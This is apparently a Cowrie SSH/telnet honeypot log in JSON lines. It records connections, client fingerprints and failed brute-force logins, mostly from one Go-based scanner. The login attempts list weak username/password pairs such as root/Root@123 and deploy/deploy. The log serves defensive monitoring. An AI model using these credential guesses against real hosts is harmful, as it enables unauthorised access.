{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:28.455841Z","src_ip":"192.109.200.78","session":"72cbc7e02a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:28.998561Z","src_ip":"192.109.200.78","session":"72cbc7e02a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:30.085359Z","src_ip":"192.109.200.78","session":"72cbc7e02a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34932,"dst_ip":"10.17.0.5","dst_port":22,"session":"a007ee73d330","protocol":"ssh","message":"New connection: 192.109.200.78:34932 (10.17.0.5:22) [session: a007ee73d330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:32.519826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:32.524572Z","src_ip":"192.109.200.78","session":"a007ee73d330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:32.607968Z","src_ip":"192.109.200.78","session":"a007ee73d330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:32.855336Z","src_ip":"192.109.200.78","session":"a007ee73d330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:33.939704Z","src_ip":"192.109.200.78","session":"a007ee73d330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34940,"dst_ip":"10.17.0.5","dst_port":22,"session":"54ebdba696d2","protocol":"ssh","message":"New connection: 192.109.200.78:34940 (10.17.0.5:22) [session: 54ebdba696d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:36.699053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:36.843089Z","src_ip":"192.109.200.78","session":"54ebdba696d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:36.847002Z","src_ip":"192.109.200.78","session":"54ebdba696d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:37.487700Z","src_ip":"192.109.200.78","session":"54ebdba696d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:38.571703Z","src_ip":"192.109.200.78","session":"54ebdba696d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38966,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd712b4791d","protocol":"ssh","message":"New connection: 192.109.200.78:38966 (10.17.0.5:22) [session: bdd712b4791d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:40.942673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:40.947058Z","src_ip":"192.109.200.78","session":"bdd712b4791d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:41.031007Z","src_ip":"192.109.200.78","session":"bdd712b4791d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:41.277872Z","src_ip":"192.109.200.78","session":"bdd712b4791d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:42.362794Z","src_ip":"192.109.200.78","session":"bdd712b4791d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":33694,"dst_ip":"159.203.135.109","dst_port":23,"session":"86372d607dc3","protocol":"telnet","message":"New connection: 5.42.229.203:33694 (159.203.135.109:23) [session: 86372d607dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:42.595853Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.7.58.254","src_port":58046,"dst_ip":"10.17.0.5","dst_port":23,"session":"053d859565f9","protocol":"telnet","message":"New connection: 108.7.58.254:58046 (10.17.0.5:23) [session: 053d859565f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:44.000413Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38982,"dst_ip":"10.17.0.5","dst_port":22,"session":"281a175db42c","protocol":"ssh","message":"New connection: 192.109.200.78:38982 (10.17.0.5:22) [session: 281a175db42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:45.131014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:45.143643Z","src_ip":"192.109.200.78","session":"281a175db42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.7.58.254","src_port":58204,"dst_ip":"10.17.0.5","dst_port":23,"session":"8508930223c2","protocol":"telnet","message":"New connection: 108.7.58.254:58204 (10.17.0.5:23) [session: 8508930223c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:45.216224Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:45.807859Z","src_ip":"192.109.200.78","session":"281a175db42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:46.057034Z","src_ip":"192.109.200.78","session":"281a175db42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:47.202343Z","src_ip":"192.109.200.78","session":"281a175db42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36064,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6621b5a23a4","protocol":"ssh","message":"New connection: 192.109.200.78:36064 (10.17.0.5:22) [session: e6621b5a23a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:49.237140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:49.359394Z","src_ip":"192.109.200.78","session":"e6621b5a23a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:49.364089Z","src_ip":"192.109.200.78","session":"e6621b5a23a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:49.752995Z","src_ip":"192.109.200.78","session":"e6621b5a23a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:50.841235Z","src_ip":"192.109.200.78","session":"e6621b5a23a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36082,"dst_ip":"10.17.0.5","dst_port":22,"session":"96976aae8eae","protocol":"ssh","message":"New connection: 192.109.200.78:36082 (10.17.0.5:22) [session: 96976aae8eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:53.570634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:53.575275Z","src_ip":"192.109.200.78","session":"96976aae8eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:53.656786Z","src_ip":"192.109.200.78","session":"96976aae8eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:53.908139Z","src_ip":"192.109.200.78","session":"96976aae8eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:54.993725Z","src_ip":"192.109.200.78","session":"96976aae8eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39690,"dst_ip":"159.203.135.109","dst_port":22,"session":"16c573a42ce1","protocol":"ssh","message":"New connection: 159.203.92.129:39690 (159.203.135.109:22) [session: 16c573a42ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:56.357110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:56.362239Z","src_ip":"159.203.92.129","session":"16c573a42ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:56.367077Z","src_ip":"159.203.92.129","session":"16c573a42ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qwer-1234","message":"login attempt [admin/Qwer-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:56.380770Z","src_ip":"159.203.92.129","session":"16c573a42ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.36497473716736,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:56.588754Z","src_ip":"5.42.229.203","session":"6832703d2a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:57.389934Z","src_ip":"159.203.92.129","session":"16c573a42ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36094,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd50fb48882e","protocol":"ssh","message":"New connection: 192.109.200.78:36094 (10.17.0.5:22) [session: dd50fb48882e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:57.648369Z"}
